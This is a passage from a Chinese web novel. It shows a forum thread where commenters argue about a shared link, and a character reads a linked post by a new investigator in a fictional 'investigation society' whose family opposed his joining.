【爱好学习李同学】:请大家把我顶上去,让更多的人看到弋的链接 【梦游症】@【吃瓜请带上我】:这算是引流吗,楼主要不要处理一下? 【吃瓜请带上我】回复【梦游症】:谢谢宝子,但是楼主也在这个帖子里吃瓜,大家和和气气吃瓜,一切随意,另外申明,除了违规发言楼主不会删除任何评论 【爱好学习李同学】:楼主很有格局,已四连支持 零也点开了这个链接,原来是《真实发生还是集体催眠?污染究竟多可怕》,现在这个帖子也已经变成热门帖了,说不定有这个链接的功劳。 不过这个发帖人网名倒是很独特,【为调查社献上心脏】,看来不是调查员就是调查社狂热支持者,零看起了正文。 各位朋友大家好,你们可以叫我小泽,我是今年才加入调查社的新手调查员。 我家住在西一环,家庭条件还算不错,不过就是因为这样,我加入调查社的事被所有人反对,毕竟众所周知,大多数进入调查社的人都是没钱度日且不怕牺牲的次城人。